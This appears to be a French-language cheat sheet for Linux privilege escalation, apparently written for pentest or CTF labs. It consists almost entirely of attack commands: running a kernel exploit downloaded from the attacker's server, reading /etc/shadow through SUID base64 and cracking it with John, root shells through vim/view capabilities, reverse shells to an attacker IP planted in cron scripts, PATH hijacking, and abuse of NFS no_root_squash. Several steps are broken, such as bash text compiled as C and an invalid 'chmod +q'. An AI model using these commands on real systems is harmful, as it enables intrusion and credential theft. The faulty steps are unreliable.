🤯Exploit
🔋 kernel
Sur la machine Attaquante
Étape 1 : Télécharger l’exploit sur exploitDB
Étape 2 : créer un serveur
python3 -m http.server 9000Sur la machine Cible
cd /tmp # Aller dans le répertoire tmp
wget http://IP:port/37292.c # Importe l'exploit
gcc 37292.c -o exploit # Pour le compiler
./exploit # Pour le lancer 🛠️ SUID avec le fichier base 64
Étape 1 : Identification des Fichiers avec SUID
Utilisons la commande suivante pour trouver des fichiers avec des bits SUID sur le système :
find / -type f -perm -04000 -ls 2>/dev/nullCette commande recherche tous les fichiers (-type f) avec des bits SUID (-perm -04000) et affiche les résultats de manière détaillée (-ls). Les erreurs sont redirigées vers /dev/null.
Étape 2 : Utilisation du Fichier /usr/bin/base64
A l’aide de la commande précedente, nous observons le fichier /usr/bin/base64. Utilisons GTFOBins pour rechercher des techniques d'exploitation avec le filtre SUID.
LFILE=/etc/shadow
/usr/bin/base64 "$LFILE" | base64 --decodeCette méthode recommandée sur GTFOBins utilise base64 pour lire et décoder le contenu du fichier spécifié (/etc/shadow). Nous obtenons ainsi un hash.
Étape 3 : Déchiffrement du Hash avec John
Utilisons John the Ripper pour déchiffrer le hash obtenu. Assurez-vous d'avoir le fichier wordlist approprié, par exemple /usr/share/wordlists/rockyou.txt.
nano $hash
john --wordlist=/usr/share/wordlists/rockyou.txt "$hash"
john $hash --showCela tente de déchiffrer le hash en utilisant une attaque par dictionnaire avec le mot de passe contenu dans rockyou.txt.
Étape 4 : Connexion avec l'Utilisateur2
Connectons-nous à l'utilisateur2 avec le mot de passe obtenu après le déchiffrement.
Étape 5 : Gestion des Permissions sur /home/ubuntu/flag3.txt
Observons que l'accès à /home/ubuntu/flag3.txt n'est pas autorisé. Utilisons base64 pour lire et décoder le contenu du fichier.
LFILE=/home/ubuntu/flag3.txt
/usr/bin/base64 "$LFILE" | base64 --decodeCes commandes permettent de contourner les permissions en utilisant les droits SUID sur base64 pour accéder aux fichiers sensibles.
💡 Capabilités
Les "capacités" sont un mécanisme de sécurité qui permet à des programmes spécifiques d'exécuter des opérations restreintes généralement réservées à des processus avec des privilèges élevés (comme l'utilisateur root).
Étape 1 : Identifier les Capabilités
Utilisons la commande suivante pour identifier les capabilités associées aux fichiers du système :
getcap -r / 2>/dev/nullCette commande recherche récursivement (-r) toutes les capabilités sur le système de fichiers à partir du répertoire racine ("/"). Les erreurs sont redirigées vers /dev/null.
La sortie pourrait ressembler à ceci :
/home/user/vim = cap_setuid+ep
/home/user/view = cap_setuid+epÉtape 2 : Exploration avec GTFOBins
Choisissons un fichier avec des capabilités, par exemple /home/user/vim ou /home/user/view. Utilisons GTFOBins pour rechercher des techniques d'exploitation avec le filtre de capabilités.
./view -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'Cette commande utilise les capabilités de view pour exécuter du code Python (:py) qui définira l'UID sur 0 (root) et exécutera un shell interactif.
Étape 3 : Modification pour Python 3
Certaines versions peuvent nécessiter l'utilisation de Python 3. Modifions la commande en conséquence :
./view -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'Cette version utilise Python 3 (:py3) pour la même tâche.
Étape 4 : Exécution de la Commande
Tapez la commande modifiée dans l'invite de commande et observez les résultats. Assurez-vous d'avoir compris chaque étape du processus et agissez toujours de manière éthique et légale lors de l'exploration des fonctionnalités de sécurité.
📀 Crontab
📚 Definition
Les tâches cron (crontabs) sont des procédures automatisées planifiées sur les systèmes Unix/Linux pour s'exécuter à des intervalles spécifiques. Chaque utilisateur peut avoir son propre fichier crontab, et il existe également un fichier système /etc/crontab qui contient des tâches planifiées pour les utilisateurs système.
Pour afficher les tâches cron d'un utilisateur, utilisez la commande :
crontab -lLa syntaxe générale d'une entrée crontab est la suivante :
# Minute Heure Jour du mois Mois Jour de la semaine CommandePar exemple, l'entrée suivante exécute une commande toutes les heures :
0 * * * * commande📮 Privesc via Crontab
Pour afficher les tâches cron, utilisez la commande suivante :
cat /etc/crontabTrouver des Scripts Exécutés : Vérifiez les scripts exécutés par les tâches cron. Souvent, ces scripts peuvent être modifiés pour inclure des commandes malveillantes.
Dans cette configuration, nous observons l'exécution du script /home/user/backup.sh.
Pour le modifier à l'aide d'un reverse shell, utilisez :
nano backup.shPuis ajoutez la ligne suivante pour établir un reverse shell :
bash -i >& /dev/tcp/IP_attaquante/port 0>&1Pour établir un reverse shell ans un fichier :
echo "bash -i >& /dev/tcp/IP_attaquante/port 0>&1" > /etc/fichierAppuyez sur Ctrl + X, puis sur Y, et appuyez sur Entrée pour sortir.
Accordez les droits d'exécution au fichier pour l'utilisateur :
chmod +x backup.shEn parallèle, sur la machine attaquante, exécutez la commande suivante pour écouter les connexions entrantes :
nc -lvnp portEnsuite, récupérez le hash d'un utilisateur à partir du fichier /etc/shadow.
cat /etc/shadowCopiez le hash d'un utilisateur dans un fichier, puis utilisez l'outil John pour casser le mot de passe:
john hash --show🔐 PATH
Dans un système Linux, la variable d'environnement PATH indique où le système doit rechercher les exécutables lorsqu'une commande est saisie. Cette vulnérabilité peut être exploitée si un dossier accessible en écriture par l'utilisateur est inclus dans le PATH.
Étapes de l'exploitation :
# Vérifier les dossiers sous $PATH
echo $PATH
# Modifier la variable $PATH
export PATH=/tmp:$PATH
# Créer un script malveillant (shell) dans /tmp
echo -e "#!/bin/bash\\n/bin/bash -i > /dev/tcp/IP_attaquante/port 0>&1" > /tmp/shell.c
# Compiler le script en exécutable
gcc /tmp/shell.c -o /tmp/shell
# Définir le bit SUID sur le script
chmod +s /tmp/shell
# Donner des droits exécutables au script
chmod +x /tmp/shell
# Exécuter le script
cd /tmp
./shell📎Montage NFS
Le NFS (Network File System) est un protocole permettant de partager des fichiers entre des systèmes UNIX via le réseau. Ce tutoriel explique comment monter un partage NFS sur un système Linux.
Étape 1: Vérifier les exports NFS sur le serveur (sur la cible)
Utilisez la commande cat pour afficher les configurations d'exports NFS sur le serveur.
cat /etc/exportsAssurez-vous que le fichier /etc/exports permet des permissions en écriture (rw) et que l'option no_root_squash est utilisée si nécessaire. Si l'option « no_root_squash » est présente sur un partage inscriptible, nous pouvons créer un exécutable avec le bit SUID défini et l'exécuter sur le système cible. Dans notre cas, le chemin contenant no_root_squash est /home/user/share.
Étape 2: Vérifier les partages NFS exposés par le serveur (sur l’attaquant)
Utilisez la commande showmount pour afficher les partages NFS exposés par le serveur.
showmount -e IP_CIBLEÉtape 3: Monter le répertoire distant localement (sur l’attaquant)
Créez un répertoire local pour monter le partage NFS.
mkdir /mnt/jrpentestMontez le répertoire distant dans le répertoire local.
mount -o rw IP_serveur_NFS:/home/ubuntu/sharedfolder /mnt/jrpentestÉtape 4: Vérifier les permissions du répertoire monté
# sur l'attaquant
ls -la /mnt/jrpentest
# sur la cible
ls -la /home/user/shareÉtape 5: Créer un fichier malveillant dans le répertoire monté
Si les fichiers sur le serveur ont des permissions en écriture (rw) et que no_root_squash est utilisé, vous pouvez créer un fichier malveillant dans le répertoire monté.
cd mnt/jrpentest
nano code.c
"#!/bin/bash\\n/bin/bash -i > /dev/tcp/IP_attaquante/port 0>&1"
# compiler
gcc code.c -o codeNormalement, le code généré ici est partagé sur la cible dans le dossier /home/user/share.
Étape 6: Donner des droits exécutables au script
Si nécessaire, donnez des droits exécutables au script.
# sur l'attaquant
cd /mnt/jrpentest/
chmod +x code
chmod +q code
# sur la cible
cd /home/user/share
chmod +x codeÉtape 7: Exécuter le script à distance en utilisant le chemin NFS (sur la cible)
Vous pouvez maintenant exécuter le script à distance à partir du serveur NFS en utilisant le chemin NFS.
cd /home/user/share
./codeLast updated